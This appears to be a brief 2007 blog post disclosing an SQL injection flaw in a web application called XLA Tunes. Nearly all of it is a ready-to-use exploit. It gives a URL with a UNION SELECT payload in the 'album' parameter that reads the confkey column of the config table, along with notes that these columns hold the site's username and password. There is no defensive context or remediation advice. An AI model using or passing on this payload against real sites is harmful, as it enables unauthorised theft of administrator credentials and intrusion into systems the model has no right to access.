Tuesday, 2 January 2007

XLA Tunes SQL Injection Vulnerability.

confkey->Password
confvalue->Username
Table:config
host.com/path/?mode=view&album=
-1%20UNION%20SELECT%20confkey%20FROM%20config/*

No comments: